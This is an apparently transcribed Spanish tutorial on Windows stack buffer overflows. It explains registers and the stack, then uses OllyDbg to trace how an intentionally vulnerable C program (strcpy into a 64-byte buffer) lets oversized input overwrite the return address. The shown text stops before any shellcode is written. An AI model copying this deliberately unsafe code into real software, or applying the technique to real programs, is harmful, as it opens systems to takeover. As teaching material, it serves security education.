exploits y stack overflows en windows 2017

45
***************************************** * EXPLOITS Y STACK OVERFLOWS EN WINDOWS * * Rojodos rojodos2[at]yahoo[dot]es * ***************************************** 2016

Upload: un-marcos

Post on 20-Mar-2017

71 views

Category:

Internet


4 download

TRANSCRIPT

Page 1: Exploits y stack overflows en windows 2017

*****************************************

* EXPLOITS Y STACK OVERFLOWS EN WINDOWS *

* Rojodos rojodos2[at]yahoo[dot]es *

*****************************************

2016

Page 2: Exploits y stack overflows en windows 2017

Naaas :)

Visto el "miedo" que se tiene al tema de los exploits y los buffers overflows,

que parece algo místico, y que cada dos por tres un script kiddie pregunta en el

foro como compilar un exploit, como funciona un exploit o donde encuentro un

exploit, me he decidido a hacer un taller de buffers overflows y exploits, en

Windows :)

También veremos como crear una shellcode muy muy básica, muy explicadita, para

que se entienda perfectamente.

Quizás, si el tema tiene éxito, hagamos otro sobre Linux, aunque son bastante

parecidos, en Linux la cosa cambia en muchos aspectos.

Este documento esta basado en muchos que hay por la red, los cuales están al

final del mismo, y de la aportación de muchos usuarios en diversos foros, listas

de correo y como no, de exploits.

Es mi primer texto "en serio", además es bastante largo, y aunque creo que no

contiene errores muy graves, puede tenerlos :P cualquier fallo del texto,

Comentario, opinión, amenaza, donación, oferta de trabajo, etc... al correo :)

(abstenerse gilipolleces)

Vamos al tema :)

Page 3: Exploits y stack overflows en windows 2017

-== INTRODUCCION ==-

La teoría sobre el tema la iremos viendo según avance el documento, aunque antes

de nada, haremos unas definiciones muy simples. La idea de dichas definiciones

es saber "lo básico", ya que este texto esta dirigido a iniciados, no a gente

que ya domina el tema, aquí no vera nada nuevo, pero es imprescindible buscar

por Internet mucha más información (sobre todo lo referente a programar en C/C++

y ASM)

- C/C++

Es un lenguaje de programación muy extendido, multiplataforma, y fácil. Es la

base de nuestros sistemas operativos(salvo cosas en ensamblador como rutinas de

boot) y es tremendamente potente y optimizado. Sus archivos básicos son *.c y

*.cpp (para los C++). Es el lenguaje más recomendable para aprender, el más

útil.

- Ensamblador (ASM)

Es el lenguaje más "básico" que permite al programador interactuar con el CPU.

Las instrucciones en ASM se pasan a binario, que es lo que "entiende" la CPU, es

decir, 1s y 0s (aunque se agrupan en cadenas hexadecimales para mayor claridad).

Realmente, un compilador ASM lo único que hace es calcularte las etiquetas, los

saltos y los calls, y "encapsular" el ejecutable. Todos los lenguajes de

programación, a la hora de compilar (obviamente, los lenguajes de script no),

convierten su código en instrucciones ASM.

Instrucciones en ASM (Intel) son por ejemplo mov, push, pop, etc....(En AT&T,

seria popl, movl, pushl, etc..) Es un lenguaje de programación difícil de

aprender, solo para cosas puntuales o que requieran una gran optimización, pero

saberlo te dará muchas alegrías :) Cualquier informático debería poder entender

Page 4: Exploits y stack overflows en windows 2017

y dominar las instrucciones básicas.

- Debugger (Depurador)

Un debugger es un programa que permite ir "paso a paso", instrucción a

instrucción a otro programa. Al ir instrucción a instrucción, podemos ver

completamente que esta pasando, los registros, la memoria, etc, así como muchas

mas funciones muy interesantes. Su función principal es la de auditar código, y

ver el porque falla (o simplemente porque no realiza lo que queremos que haga),

es una herramienta imprescindible para cualquier programador. Lo que pasa que

también puede servir para otras cosas :)

- Dissasembler (Desamblador)

Un desamblador es un programa que te muestra el código de un programa, una dll,

lo que sea que este hecho de código que el desamblador entienda. Normalmente, te

muestra su código en ASM (por ejemplo, un programa codeado en C, te muestra la

conversión de dichas instrucciones C en ASM), aunque hay desambladores que

permiten ver su código (o parte de el) de programas hechos en JAVA o VBasic, por

ejemplo.

Normalmente, debugger y dissasembler van en el mismo programa, los mas usados

son el Ollydbg (el que usare aquí), Softice, IDA, Win32dasm...

- Hex Editor (Editor Hexadecimal)

No hay que confundir un dissasembler con un hex editor. El primero te muestra el

código de un programa, el hex editor simplemente te muestra el contenido de un

archivo, del tipo que sea, como un dumpeo hexadecimal y/o binario, así como la

posibilidad de modificar y guardar dicho archivo. Se usa para rastrear y

modificar archivos que usan programas, tanto para fines "de programación" (el

Page 5: Exploits y stack overflows en windows 2017

porque al cargar el archivo falla, el porque no se escribe bien, etc...) como de

"hacking" o "cracking".

A mi, personalmente, me gusta mucho el Hackman, pero se que hay mucho mejores :P

Cuestión de buscar.

- La CPU (microprocesador)

La CPU es el "corazón" de un ordenador. Es la unidad de hardware encargada de

ejecutar las instrucciones de un programa o sistema operativo, instrucción a

instrucción, que estén en una determinada área de memoria. Se ayuda de registros

donde almacena variables, datos o direcciones. Una explicación completa sobre el

tema, requeriría uno o varios libros, aunque googleando se encuentra muchísima

información.

- Registros de la CPU.

La cpu (microprocesador) contiene una serie de registros, donde almacena

variables, datos o direcciones de las operaciones que esta realizando en este

momento. El lenguaje ASM se sirve de dichos registros como variables de los

programas y rutinas, haciendo posible cualquier programa (de longitudes

considerables, claro). Los más interesantes son:

EIP Extended Instruction Pointer.

El registro EIP siempre apunta a la siguiente dirección de memoria que el

procesador debe ejecutar. La CPU se basa en secuencias de instrucciones, una

detrás de la otra, salvo que dicha instrucción requiera un salto, una

llamada...al producirse por ejemplo un "salto", EIP apuntara al valor del salto,

ejecutando las instrucciones en la dirección que especificaba el salto. Si

logramos que EIP contenga la dirección de memoria que queramos, podremos

controlar la ejecución del programa, si también controlamos lo que haya en esa

Page 6: Exploits y stack overflows en windows 2017

dirección.

EAX, EBX... ESI, EDI...

Son registros multipropósito para usarlo según el programa, se pueden usar de

cualquier forma y para alojar cualquier dirección, variable o valor, aunque cada

uno tiene funciones "especificas" según las instrucciones ASM del programa:

EAX:

Registro acumulador. Cualquier instrucción de retorno, almacenara dicho valor en

EAX. También se usa para sumar valores a otros registros en funciones de suma,

etc....

EBX

Registro base. Se usa como "manejador" o "handler" de ficheros, de direcciones

de memoria (para luego sumarles un offset) etc...

ECX

Registro contador. Se usa, por ejemplo, en instrucciones ASM loop como contador,

cuando ECX llega a cero, el loop se acaba.

EDX

Registro dirección o puntero. Se usa para referenciar a direcciones de memoria

mas el offset, combinado con registros de segmento (CS, SS, etc..)

ESI y EDI

Son registros análogos a EDX, se pueden usar para guardar direcciones de

Page 7: Exploits y stack overflows en windows 2017

memoria, offsets, etc..

CS, SS, ES y DS

Son registros de segmento, suelen apuntar a una cierta sección de la memoria. Se

suelen usar Registro+Offset para direccionar a una dirección concreta de

memoria. Los mas usados son CS, que apunta al segmento actual de direcciones que

esta ejecutando EIP, SS, que apunta a la pila y DS, que apunta al segmento de

datos actual. ES es "multipropósito", para lo mismo, referenciar direcciones de

memoria, y un largo etc...

ESP EBP

Extended Stack Pointer y Extender Base Pointer. Ambos los veremos más en

profundidad cuando explique la pila.

Sirven para manejar la pila, referenciando la "cima" (ESP) y la "base" (EBP).

ESP siempre contiene la dirección del inicio de la pila (la cima) que esta

usando el programa o hilo (thread) en ese momento. Cada programa usara un

espacio de la pila distinto, y cada hilo del programa también. EBP señala la

dirección del final de la pila de ese programa o hilo.

- ¿Que es una vulnerabilidad?

Una vulnerabilidad es un fallo que compromete la seguridad del programa o

sistema. Aunque se le asocia también a "bug" (fallo), pero no es lo mismo. Un

bug es un fallo de cualquier tipo, desde que un juego no funcione bien porque

vaya lento, a un programa que funciona mal al intentar hacer una división por 0.

Las vulnerabilidades son bugs de seguridad, que pueden comprometer el sistema o

el programa, permitiendo al "hacker" ejecutar código arbitrario, detener el

sistema o aprovecharse del mismo para sacar cualquier tipo de beneficio.

Page 8: Exploits y stack overflows en windows 2017

- ¿Que es un exploit?

Un exploit es un código, un "método", un programa, que realiza una acción contra

un sistema o programa que tiene una vulnerabilidad, "explotándola", y sacando un

beneficio de la misma. Dicho beneficio normalmente es la ejecución de código

(dentro de ese programa, con los privilegios del mismo) que nos beneficia,

dándonos por ejemplo una contraseña, o dándonos una shell de comandos, añadir un

usuario administrador al sistema, o incluso lo único que hacen es detener el

servicio o el sistema, según nuestros propósitos.

Habría que distinguir entre exploits "completos" (los que están completamente

funcionales) y los POCs (proof of concept) que son exploits que demuestran que

dicha vulnerabilidad existe y que es explotable, pero que no dan ningún

beneficio o el beneficio es mínimo. Normalmente se usan estos últimos para

evitar el uso de los mismos por niñatos (script kiddies) o para evitar gusanos

(supongo que se acuerdan del blaster o del sasser, se liberaron los exploits

completamente funcionales)

- ¿Que es una shellcode?

Una shellcode es un código básico en ASM, muy corto generalmente, que ejecuta

los comandos que queremos, como system("cmd.exe") (ejecuta una shell msdos en

windows); o execv("/bin/sh") (ejecuta una shell sh en Linux/Unix), o sirve

para añadir un usuario a la cuenta del sistema, para descargar un troyano y

ejecutarlo, para dejar abierto un puerto conectado a una shell, etc.... Es el

código que ejecutara el programa vulnerable una vez tengamos su control. No es

nada difícil de programar sabiendo ASM básico y como funciona tu SO.

Una vez programada en ASM (para testearla, por ejemplo, además de que es mas

fácil programarla en ASM que directamente con opcodes :P), se pasa a un string,

compuesto por los opcodes (codigos de operacion, en hexadecimal) de dichas

Page 9: Exploits y stack overflows en windows 2017

instrucciones ASM. Lo veremos mas adelante :)

- ¿Que es un overflow?

Un overflow es, básicamente, cuando resguardamos espacio de memoria insuficiente

para una variable (allocate), y le introducimos más datos a dicha variable de

los que puede soportar. La variable "desborda", y los datos que no caben

sobrescriben memoria continua a dicha variable. Si declaramos una variable que

solo debe soportar 8bytes, si le movemos 10bytes, los 2bytes restantes no se

pierden, sino que sobrescriben la memoria contigua a dicha variable.

Hay distintos tipos de overflow, stack overflow (el que veremos aquí, también

llamado buffer overflow, o desbordamiento de buffer, etc...), heap overflow (ya

lo veremos en algún otro texto, se refiere a desbordar una variable declarada en

el heap en vez de en la pila...), format string overflow (bugs de formato de las

cadenas de texto), integer overflow (debidos a declaraciones de variables con un

espacio mínimo o negativo que proveemos nosotros...), etc...

- ¿Porque se le llama Stack Overflow?

La pila (stack) es una estructura tipo LIFO, Last In, First Out, ultimo en

entrar, primero en salir. Pensad en una pila de libros, solo puedes añadir y

quitar libros por la "cima" de la pila, por donde los añades. El libro de mas

"abajo", será el ultimo en salir, cuando se vacíe la pila. Si tratas de quitar

uno del medio, se puede desmoronar.

Bien, pues el SO (tanto Windows como Linux, como los Unix o los Macs) se basa en

una pila para manejar las variables locales de un programa, los retornos (rets)

de las llamadas a una función (calls), las estructuras de excepciones (SEH,

en Windows), argumentos, variables de entorno, etc...

Page 10: Exploits y stack overflows en windows 2017

Por ejemplo, para llamar a una función cualquiera, que necesite dos argumentos,

se mete primero el argumento 2 en la pila del sistema, luego el argumento 1, y

luego se llama a la función.

Si el sistema quiere hacer una suma (5+2), primero introduce el 2º argumento en

la pila (el 2), luego el 1º argumento (el 5) y luego llama a la función suma.

Bien, una "llamada" a una función o dirección de memoria, se hace con la

instrucción ASM Call. Call dirección (llamar a la dirección) ó call registro

(llama a lo que contenga ese registro). El registro EIP recoge dicha dirección,

y la siguiente instrucción a ejecutar esta en dicha dirección, hemos "saltado" a

esa dirección.

Pero antes, el sistema debe saber que hacer cuando termine la función, por donde

debe seguir ejecutando código.

El programa puede llamara la función suma, pero con el resultado, hacer una

multiplicación, o simplemente mostrarlo por pantalla. Es decir, la CPU debe

saber por donde seguir la ejecución una vez terminada la función suma.

Para eso sirve la pila :) Justo al ejecutar el call, se GUARDA la dirección de

la siguiente instrucción en la pila.

Esa instrucción se denomina normalmente RET o RET ADDRESS, dirección de

"retorno" al programa principal (o a lo que sea).

Entonces, el call se ejecuta, se guarda la dirección, coge los argumentos de la

suma, se produce la suma y, como esta guardada la dirección por donde iba el

programa, VUELVE (RETORNA) a la dirección de memoria que había guardada

en la pila (el ret), es decir, a la dirección siguiente del call.

Vamos a verlo por pasos :)

Page 11: Exploits y stack overflows en windows 2017

1º Llegamos al call (EIP apunta a la instrucción call)

2º Se ejecuta el call. EIP apunta a la instrucción del call, es decir, donde

debemos ir)

3º Se guarda la siguiente instrucción después del call en la pila (el ret)

En ese momento, la pila esta así:

ESP | RET ADDRESS | EBP -8bytes

ESP +4bytes | argumento 1 | EBP -4bytes

ESP +8bytes | argumento 2 | <--- EBP apunta aquí (la base de la pila)

4º La cpu ejecuta la/las instrucciones dentro de la función suma (obviamente,

dentro de la función suma se usara la pila para almacenar datos y demás...)

5º La función suma alcanza la instrucción RETN (retorno), y EIP recoge la

dirección RET ADDRESS, y vuelve al programa principal, justo después del call

suma.

Espero que se entienda, es muy importante, ya que un stack overflow significa

introducir suficientes datos en la pila, hasta poder sobrescribir dicho ret

address, pero eso lo veremos mas adelante.

Imaginaos que al hacer ese call, dentro de la función suma necesitamos un

espacio para alojar por ejemplo, el resultado, o uno de los operandos, lo que

sea.

Bien, cuando el programa o el SO piden "espacio" para alojar una/s variable/s,

un dato, un nombre o lo que sea, dicho nombre normalmente se guarda en la pila

(no entraremos en temas de heap).

Básicamente, lo que se hace es crear un "espacio" entre un nuevo ESP y EBP (cima

y base de la pila) para alojar las variables. Son "nuevos" para no sobrescribir

Page 12: Exploits y stack overflows en windows 2017

los variables y valores que ya haya en la pila, de otras funciones o programas

Posteriormente, se introduce el EBP antiguo en la pila (se pushea), para saber

DONDE estaba la anterior base de la pila, la pila del proceso principal. Esto

también es importante, es el EBP salvado del proceso anterior. Cuando la función

suma acabe, EBP tomara el valor del EBP salvado, y estaremos otra vez en el

"trozo" de pila del proceso principal.

Ahora mismo, la pila esta así:

ESP | EBP anterior salvado | EBP - 4

ESP +4bytes | RET ADDRESS | <---- El EBP actual apunta aquí

ESP +8bytes | argumento 1 de suma | EBP +4

ESP +12bytes | argumento 2 de suma | EBP + 8

Tras esto, se "sustrae", se "resta" a ESP tantos bytes como necesitemos de

espacio para nuestra variable. Al sustraerle bytes, la diferencia entre ESP y

EBP son esos bytes, donde irán nuestros datos (nombre, datos, lo que sea). Por

ejemplo, si nuestra variable "nombre", necesita 12 bytes (siempre se hace con

múltiplos de 4, por temas de alineamiento en la pila), pues se le sustrae a ESP

12 bytes:

ESP | basura, aun no hay nada inicializado| EBP -16

ESP +4 | basura | EBP -12

ESP +8 | basura | EBP -8

ESP +12 | EBP anterior salvado | EBP -4

ESP +16 | RET ADDRESS | EBP (el EBP no cambia)

ESP +20 | argumento 1 de suma | EBP +4

ESP +24 | argumento 2 de suma | EBP +8

Como se ve, hay 4+4+4 bytes de basura (basura quiere decir que son datos que

había antes ahí, de anteriores usos de la pila, pero que no nos sirven) para

Page 13: Exploits y stack overflows en windows 2017

nuestro nombre o lo que sea, de 12 bytes.

Pero, si esos bytes no son suficientes, al introducir nuestro nombre por

ejemplo, si solo tenemos espacio para 12 bytes (12 caracteres), y introducimos

14, los 2 bytes que sobran, sobrescribirán la memoria contigua a la declarada en

la variable, es decir, sobrescribirán el EBP de la anterior función, si metemos

4 lo sobrescribiremos completamente:

Introducimos AAA...A (16 As) para ver que pasa (esto no se haría con push, que

aumentan ESP, sino con instrucciones MOV)

ESP | AAAA | EBP -16

ESP +4 | AAAA | EBP -12

ESP +8 | AAAA | EBP -8

ESP +12 | (EBP anterior salvado sobrescrito) AAAA | EBP -4

ESP +16 | RET ADDRESS | EBP

ESP +20 | argumento 1 de suma | EBP +4

ESP +24 | argumento 2 de suma | EBP +8

Y si le metemos otras 4 AAAA, sobrescribiremos el ret, que es lo que nos

interesa :)

Bien, pasemos a la práctica real, donde se vera todo mucho mejor explicado :)

-== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==-

Hache esta el típico típico típico código de stack overflow. Cualquiera que haya

leído un doc sobre buffer overflow, habrá visto un código semejante (sino igual)

a este.

Y, como todos los tutoriales sobre programación empiezan con el "Hola Mundo", yo

Page 14: Exploits y stack overflows en windows 2017

empezare con el código típico vulnerable :)

El código esta comentado (//) para que entendáis cada línea:

/* vuln1.c por Rojodos */

#include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida

int main (int argc, char **argv){ // La función "principal" del programa

función

char buffer[64]; //Declaramos un array con 64 bytes de espacio

if (argc < 2){ // Si los argumentos son menores que 2...

printf ("Introduzca un argumento al programa\n"); //Printeamos

return 0; // y retornamos 0 a la función main, y el programa acaba

}

strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.

return 0; // Devolvemos 0 a main, y el programa acaba.

}

El fallo esta en la función strcpy. Esa función copiara lo que hayamos metido

por argumentos al programa (argv[1]) dentro de la variable buffer. Pero buffer

solo tiene espacio para 64 caracteres, no hay ningún chequeo de tamaño de la

fuente (eso se hace por ejemplo, con la función mas segura strncpy), y por

argumentos al programa le podemos meter lo que queramos.

Si lo compilamos (con cualquier compilador C/C++ en Windows, recomiendo Dev Cpp

o Visual C++), generamos el archivo vuln1.exe

Al ejecutarlo en una consola MSDOS así:

Page 15: Exploits y stack overflows en windows 2017

Microsoft Windows XP [Versión 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

F:\Rojodos\manual exploits>vuln1 AAAAA(Muchas AAAAs, mas de 64)AAAAAAAAAAA....

Os saldrá la típica ventanita de que vuln1.exe ha detectado un problema y debe

cerrarse. Si pincháis en "Para ver los datos de los errores, haga click aquí",

veréis que pone "Offset:41414141". "A" en hexadecimal es 41 (mirad la tabla en

www.asciitable.com). Es decir, hemos sobrescrito la dirección de retorno de MAIN

() (no de strcpy, pues la dirección de strcpy va ANTES de la variable buffer en

la pila, ya que primero se declara buffer, y luego se llama a strcpy, con lo que

la variable buffer esta "debajo", en direcciones mas altas, de strcpy en la

pila) con AAAA --> 41414141 :)

Esto lo podemos ver mucho mejor en un debugger, como el Ollydbg (en

www.elhacker.net lo encontraras fácilmente, o en su pagina principal, googlead

un poco)

Usar un debugger, y mas el olly, es realmente fácil, no tiene ningún misterio.

Si alguien se cree que es una herramienta para "elites" y súper difícil de usar,

esta completamente equivocado.

Bien, con el olly, cargamos el programa (File -> Open -> vuln1.exe). Veréis que

salen un montón de instrucciones en la ventana principal, con la dirección

relativa de código inicial de 00401000. Esta dirección es la dirección base del

ejecutable en memoria (00400000, el 99% de los ejecutables se carga en esa

dirección) mas el offset señalado en el PE header, que indica donde empieza el

código (entry point, en este caso el offset es +1000h).

También deberíais ver a vuestra derecha, el estado de los registros de la CPU,

Page 16: Exploits y stack overflows en windows 2017

EAX, EBX...ESI, EDI, EBP, ESP y EIP, y los valores que contienen. Abajo a la

izquierda, deberíais ver el dumpeo en hexadecimal, cosa que no usaremos, y abajo

a la derecha, la pila (stack). Ahí tenéis que tener la vista casi fija :)

Una vez cargado el ejecutable (se os abrirá una ventanita de MS-DOS, pero que no

sale nada, no os preocupéis, el programa esta cargado en memoria, pero no se

esta ejecutando aun),le metemos los argumentos (copiamos todas las AAAs

que hay mas arriba en el texto, y nos vamos a Debug -> Arguments, y las copiamos

ahí). Os dirá que tenemos que resetear el programa para que los argumentos

tengan efecto (nos vamos a Debug-> Restart). Y listo :)

Le damos a RUN (Debug -> Run ó F9) y....

Access violation when executing [41414141]

Fijaros en el valor de EIP (ventana de los registros del CPU). EIP = 41414141 Ha

tratado de ejecutar lo que hay en la dirección "AAAA" :)

Vamos a ver esto un poco mas "pausado", para ver como funciona realmente.

Hacemos un Restart (Debug->Restart) y vuelve el programa a su estado inicial

(los argumentos siguen siendo las AAAs que metimos, no hay que cambiarlo). Esta

vez vamos a poner un breakpoint en la función de strcpy, para ver en directo

que esta pasando.

Un breakpoint es un "punto de ruptura", que indica al debugger que cuando la

ejecución llegue ahí (cuando el registro EIP señale la dirección de memoria

donde hemos puesto el BP), se pare la ejecución (NO SE EJECUTA LA INSTRUCCION

SEÑALADA CON EL BP), para echar un vistazo, a ver que esta pasando :)

Bajamos un poco por el código, hasta que encontramos algo así:

Page 17: Exploits y stack overflows en windows 2017

004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format =

"Introduzca un argumento al programa"

004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; \printf

004012D7 |. 83C4 10 ADD ESP,10

004012DA |. EB 17 JMP SHORT vuln1.004012F3

004012DC |> 83EC 08 SUB ESP,8

004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]

004012E2 |. 83C0 04 ADD EAX,4

004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src

004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |

004012EA |. 50 PUSH EAX ; |dest

004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy

004012F0 |. 83C4 10 ADD ESP,10

Os explico antes de nada, que es cada "cosa". 004012XX es la dirección relativa

de memoria donde esta el ejecutable.

Es decir, su dirección relativa en la RAM. Como ya he dicho, todos los

ejecutables cargados en memoria, empiezan en 00400000+offset del entry point

(que normalmente es 1000h, osea, el punto inicial en la memoria de inicio del

código del programa es 00401000h). EIP va cogiendo cada dirección, una detrás de

otra, y la CPU ejecuta la instrucción contenida en esa dirección.

68 80124000 --> Son los "opcodes" de la instrucción ASM, mas o menos como decir

que es la instrucción ASM “convertida” en hexadecimal (mas bien de binario

01010.. a hexadecimal, para que lo podamos comprender mucho mejor). Esto nos

vendrá bien para que hagamos nuestra shellcode :)

PUSH vuln1.00401280 --> instrucciones en ASM, en este caso esta introduciendo

Page 18: Exploits y stack overflows en windows 2017

en la pila la dirección del ejecutable (sección .data) donde esta el string

"Introduzca un..."

Lo demás, es una "ayuda" del ollydbg, que te puede decir por ejemplo que estas

introduciendo en la pila (format="Introduzca..."), o a que estas llamando (CALL

<JMP.&msvcrt.printf> ; \printf), etc....

Bien, el printf ese, es el código que se ejecuta si no le metemos argumentos al

programa, no nos tiene porque interesar (es el código que se ejecuta cuando no

metemos argumentos al programa)

Pero si esto:

004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy

004012F0 |. 83C4 10 ADD ESP,10

Aquí se produce la llamada a la función vulnerable (llama a la DLL msvcrt.dll,

donde esta la función C strcpy) y si os fijáis, la siguiente dirección a

ejecutar es 004012F0 ADD ESP,10. Cuando se produzca el Call strcpy, se

pusheara en la pila 004012F0, que es la dirección de retorno (ret address).

Para verlo, pondremos un breakpoint en la llamada a strcpy. Pulsáis con el ratón

en esa dirección, y pulsáis F2. Se tendría que iluminar de rojo esa dirección.

Pues tras ponerle el BP, le damos a RUN (F9)

El programa se detiene antes de ejecutar esa instrucción (fijaos que ahora,

aparte de rojo, aparece con un cuadro negro la dirección de memoria, significa

que esa es la siguiente dirección a ejecutar). Por si no nos ha quedado claro,

EIP marca precisamente esa dirección, 004012EB

Page 19: Exploits y stack overflows en windows 2017

¿Que hay en la pila?

0022FF00 0022FF28 |dest = 0022FF28

0022FF04 003D24A3 \src = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas

AAAAAAAAs)

AAAAAAAAAAAAAAAA"

ESP apunta a 0022FF00, donde vemos el destino (0022FF28, que es la dirección de

la variable buffer en la pila, mas "abajo", osea en direcciones mas altas). Y

"src" (source -> fuente) es lo que vamos a copiar en el destino, 0022FF28.

Esta referenciado por 003D24A3, que precisamente es la dirección de argv[1],

donde comienza la cadena "AAAAA....".

Sigamos.

Que hay en 0022FF28? Pues espacio "reservado" para la variable buffer. Sin

embargo, vemos algo así:

0022FF28 |FFFFFFFF <-- Empiezan los 64 bytes reservados para buffer, es basura

0022FF2C |77BFAB33 RETURN to msvcrt.77BFAB33 from msvcrt.77C054FD <-- Basura

0022FF30 |77C09348 RETURN to msvcrt.77C09348 from msvcrt.free <-- Basura

0022FF34 |003D25A8 <-- Basura

0022FF38 |003D2470 <-- ..

0022FF3C |0000000C <-- ...

0022FF40 |77C08A55 RETURN to msvcrt.77C08A55 from msvcrt.77C09292 <--basura

0022FF44 |004D7EF9

0022FF48 |0012D548

0022FF4C |7FFDF000 <-- Todo esto hasta abajo siguie siendo basura

0022FF50 |000000ED

0022FF54 |00000003

0022FF58 |0022FF60

0022FF5C |77BEE921 RETURN to msvcrt.77BEE921 from msvcrt.77C089C2 <--basura

Page 20: Exploits y stack overflows en windows 2017

0022FF60 |0022FFA0

0022FF64 |004010C0 RETURN to vuln1.004010C0 from <JMP.&msvcrt.__getmainargs>

0022FF68 |00403000 vuln1.00403000 <-- basura...

0022FF6C |00403004 vuln1.00403004 <--- AQUI terminan los 64 bytes reservados

para buffer (incluido)

0022FF70 ]0022FFA0 <-- EBP salvado del anterior proceso (main)

0022FF74 |00401170 RETURN to vuln1.00401170 from vuln1.004012A6 <-- dirección

de retorno de main()

Si os fijáis, justo debajo de donde terminan los 64 bytes reservados para buffer

(todo lo que hay es basura, de anteriores funciones y tal, que no se van a

volver a usar), esta el EBP anterior salvado (el EBP de la función main,

la base de SU pila) y debajo esta la dirección de retorno de la función main.

Veis que esta en la dirección 0022FF74, y que apunta a la instrucción 00401170.

Cuando la función main() del programa termina, se ejecuta lo que haya en

esa dirección.

¿Y que hay ahí?

00401170 |. 89C3 MOV EBX,EAX ; |

00401172 |. E8 59180000 CALL <JMP.&msvcrt._cexit> ;

|[msvcrt._cexit

00401177 |. 891C24 MOV DWORD PTR SS:[ESP],EBX ; |

0040117A \. E8 51190000 CALL <JMP.&KERNEL32.ExitProcess> ;

\ExitProcess

Una llamada a exit en msvcrt.dll y posteriormente una llamada a la API

ExitProcess dentro de Kernel32.dll, el programa termina.

¿Fácil no?

Page 21: Exploits y stack overflows en windows 2017

Bueno, estamos parados justo antes de entrar en el strcpy. Para no tener que ir

saltando por la DLL (lo que haría seria ir instrucción por instrucción de como

trabaja strcpy() en la msvcrt.dll), en vez de pulsar F7 (que ENTRARIAMOS en el

CALL), le damos a F8, que "salta" a la siguiente instrucción sin entrar en el

CALL. (Es decir, el call se ejecuta así como todas las instrucciones que

conlleva, pero nosotros no lo vemos, el programa se para justo después de

terminar la función strcpy). Si pulsáis F9 (Run), el programa terminara con el

fallo famoso, y no veremos nada, así que pulsad F8.

Ahora se ha ejecutado la función strcpy, se han copiado todas las AAAs al

buffer, y estamos justo debajo de la llamada a Strcpy():

004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy

004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí

EIP apunta a 004012F0, es la siguiente instrucción que se va a ejecutar.

Miremos la pila:

0022FF00 0022FF28 ASCII

"14AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas

AAAAs) AAAAAAAAAAAAAAAAAAA"

0022FF04 003D24A3 ASCII

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas

AAAAs) AAAAAAAAAAAAAAAAAAA"

0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAA(muchas AAAAs)

AAAAAAAAAAAAAAAAAAAAAAAA"

0022FF0C 004012C4 RETURN to vuln1.004012C4 from vuln1.004013D0

0022FF10 77BE2048 msvcrt.77BE2048

Page 22: Exploits y stack overflows en windows 2017

0022FF14 0022FEF8

0022FF18 77BFAC19 RETURN to msvcrt.77BFAC19 from msvcrt.77C054FD

0022FF1C 0022FFE0 ASCII "AAAAAAAAAAAAA"

0022FF20 77C03EB0 msvcrt._except_handler3

0022FF24 00000000

0022FF28 41414141 <-- Aqui empieza la variable buffer

0022FF2C 41414141

0022FF30 41414141

0022FF34 41414141

0022FF38 41414141

0022FF3C 41414141

0022FF40 41414141

0022FF44 41414141

0022FF48 41414141

0022FF4C 41414141

0022FF50 41414141

0022FF54 41414141

0022FF58 41414141

0022FF5C 41414141

0022FF60 41414141

0022FF64 41414141

0022FF68 41414141

0022FF6C 41414141 <--- Aquí terminaban los 64 bytes de tamaño de buffer. A

partir de aquí hemos hecho el overflow.

0022FF70 41414141 <--- EBP salvado del anterior proceso, sobrescrito con AAAA

0022FF74 41414141 <--- Antigua dirección del ret del main () sobrescrito con

AAAA

0022FF78 41414141

0022FF7C 41414141

0022FF80 41414141

0022FF84 41414141

Page 23: Exploits y stack overflows en windows 2017

Hay muchas cosas en la pila (fijaos por donde han entrado) derivadas del uso del

strcpy:

0022FF00 0022FF28 ASCII

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas

AAAAs) AAAAAAAAAAAAAAAAAAA"

La direccion 0022FF00 contiene la dirección de la pila (0022FF28) donde empieza

la variable buffer, donde empiezan todas nuestras AAAAs...

0022FF04 003D24A3 ASCII

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas

AAAAs) AAAAAAAAAAAAAAAAAAA"

La dirección 0022FF04 contiene la dirección en el HEAP (memoria dinámica) de la

variable argv[1], donde están las AAAs que introducimos por argumento al

programa.

0022FF08 0022FF70 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (muchas

AAAAs)

AAAAAAAAAAAA"

La dirección 0022FF08 contiene la dirección del antiguo EBP del main, que ahora

esta sobrescrito con AAAAs...

Y mas cosas que no vienen al caso, pero como veis, hemos sobrescrito la

dirección de retorno del main (), la que llamaba a finalizar el proceso (Hemos

sobrescrito mucho más :P, pero bueno.... así se ve mejor).

¿Eso que quiere decir?

Si vemos nuestro programita principal, justo después del call (la ejecución ha

Page 24: Exploits y stack overflows en windows 2017

vuelto al programa principal):

004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; \strcpy

004012F0 |. 83C4 10 ADD ESP,10 <--- Estamos aquí parados (EIP =

004012F0)

004012F3 |> B8 00000000 MOV EAX,0

004012F8 |. C9 LEAVE

004012F9 \. C3 RETN <-- cuando llegue aquí....

Cuando llegue a ejecutar el RETN (antes de ejecutarlo), veremos que EBP vale

41414141, ya que era la "base" de la pila del anterior proceso, en este caso

main() (se salva para delimitar los "trozos" de pila que corresponden a cada

función, como ya he dicho) y que ESP ha "disminuido" debido al ADD ESP, 10 y al

LEAVE y que ahora apunta a 0022FF74.

0022FF74 41414141 <--- Antigua dirección del ret del main () A partir de aquí

hemos hecho el overflow.

Al ejecutar el RETN, EIP "recogerá" la dirección que apunta ESP (0022FF74) que

